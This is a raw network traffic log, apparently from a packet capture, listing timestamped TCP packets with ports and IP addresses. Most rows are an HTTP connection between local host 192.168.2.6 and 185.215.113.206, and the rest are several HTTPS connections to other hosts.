Nov 12, 2024 17:07:54.787740946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787760973 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787776947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787790060 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787803888 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787806034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787817001 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787831068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.787843943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787843943 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.787883043 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788062096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788074017 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788093090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788105965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788117886 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788117886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788132906 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788163900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788163900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788367987 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788383007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788413048 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788435936 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788465023 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788479090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788491964 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788506031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788516045 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788516045 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788522005 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788535118 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788552046 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788630962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788852930 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788863897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788875103 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788887978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788899899 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788899899 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788911104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788928032 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788933992 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788943052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.788970947 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.788970947 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.789005041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.789026022 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.789087057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.789298058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.789309978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.789330006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.789344072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.789359093 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.789371967 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.789371967 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.789391994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.789391994 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.789777040 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.789803982 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.789846897 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.789855003 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.789890051 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.789915085 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.830859900 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.830919981 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.830933094 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.830944061 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.830981016 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.840949059 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.840977907 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.841021061 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.841034889 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.841063023 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.841078997 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.871154070 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.871334076 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.871402979 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.871458054 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.871458054 CET	49956	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.871467113 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.871474028 CET	443	49956	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.873112917 CET	443	49957	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.874073982 CET	49970	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.874103069 CET	443	49970	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.874177933 CET	49970	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.874417067 CET	49970	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.874428988 CET	443	49970	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.874488115 CET	49957	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.874510050 CET	443	49957	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.874933958 CET	49957	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:54.874938965 CET	443	49957	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:54.905947924 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.905961037 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.905985117 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906030893 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906054020 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906074047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906090975 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906137943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906141996 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906219006 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906290054 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906294107 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906302929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906327963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906342030 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906352043 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906352043 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906362057 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906420946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906456947 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906469107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906480074 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906491995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906506062 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906526089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906526089 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906541109 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906644106 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906689882 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906902075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906913996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906924963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.906955957 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.906959057 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.906996965 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.907002926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907006979 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.907016993 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.907043934 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.907058954 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.907110929 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907126904 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907145977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907166004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907166958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907181978 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907195091 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907210112 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907213926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907213926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907227993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907227993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907279968 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907280922 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907449961 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907470942 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907572031 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907583952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907593012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907615900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907615900 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907659054 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907725096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907743931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907756090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907768965 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907782078 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907789946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907789946 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907798052 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.907851934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.907851934 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908056021 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908071041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908082962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908097029 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908111095 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908116102 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908118010 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908128977 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908144951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908149958 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908169031 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908190012 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908361912 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908377886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908390045 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908401012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908415079 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908432007 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908438921 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908438921 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908468962 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908662081 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908675909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908685923 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908704996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908716917 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908723116 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908737898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908747911 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908755064 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908756971 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908767939 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908782959 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908792973 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908796072 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.908814907 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.908843040 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909277916 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909290075 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909301996 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909312963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909329891 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909338951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909342051 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909357071 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909364939 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909369946 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909384012 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909394979 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909396887 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909411907 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909415007 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909421921 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909425974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909440041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909452915 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909470081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909470081 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909476995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909495115 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909534931 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909866095 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909883022 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909893990 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909913063 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909928083 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.909943104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909959078 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909971952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.909990072 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.910021067 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.913573027 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.913590908 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.913639069 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.913652897 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.913674116 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.913691044 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.914299965 CET	443	49950	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.914350986 CET	49950	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.950284004 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.950381041 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.950419903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.950419903 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.950438976 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.950490952 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.950512886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.950525999 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:54.950562954 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:54.955267906 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.955332994 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.955518007 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.955578089 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.955585003 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.955598116 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.955636024 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.962697029 CET	49951	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.962707043 CET	443	49951	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.970119953 CET	443	49958	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.970180988 CET	443	49952	23.47.50.173	192.168.2.6
Nov 12, 2024 17:07:54.970236063 CET	49952	443	192.168.2.6	23.47.50.173
Nov 12, 2024 17:07:54.970860004 CET	49958	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.970871925 CET	443	49958	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.971937895 CET	443	49958	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.972009897 CET	49958	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.973543882 CET	49958	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.973613024 CET	443	49958	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.974282980 CET	443	49959	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.974607944 CET	49959	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.974632025 CET	443	49959	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.975675106 CET	443	49959	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:54.975750923 CET	49959	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.976341963 CET	49959	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:54.976406097 CET	443	49959	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:55.007469893 CET	443	49957	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.007504940 CET	443	49957	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.007550001 CET	443	49957	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.007581949 CET	49957	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.007616997 CET	49957	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.013219118 CET	49958	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:55.013238907 CET	443	49958	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:55.017674923 CET	49959	443	192.168.2.6	23.198.7.168
Nov 12, 2024 17:07:55.017688036 CET	443	49959	23.198.7.168	192.168.2.6
Nov 12, 2024 17:07:55.021028996 CET	49957	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.021044016 CET	443	49957	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.027689934 CET	49971	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.027743101 CET	443	49971	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.027806044 CET	49971	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.028151035 CET	49971	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:55.028166056 CET	443	49971	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:55.029067993 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029083014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029094934 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029125929 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029141903 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029154062 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029158115 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029174089 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029186964 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029187918 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029201984 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029211044 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029242039 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029380083 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029393911 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029405117 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029417992 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029431105 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029433012 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029443979 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029457092 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029459000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029467106 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029472113 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029488087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029494047 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029510975 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029546976 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029720068 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029732943 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029747963 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029761076 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029773951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029776096 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029791117 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029808998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029808998 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029817104 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029831886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029833078 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029844999 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029853106 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029860020 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029874086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:55.029882908 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029882908 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:55.029886961 CET	80	49859	185.215.113.206	192.168.2.6
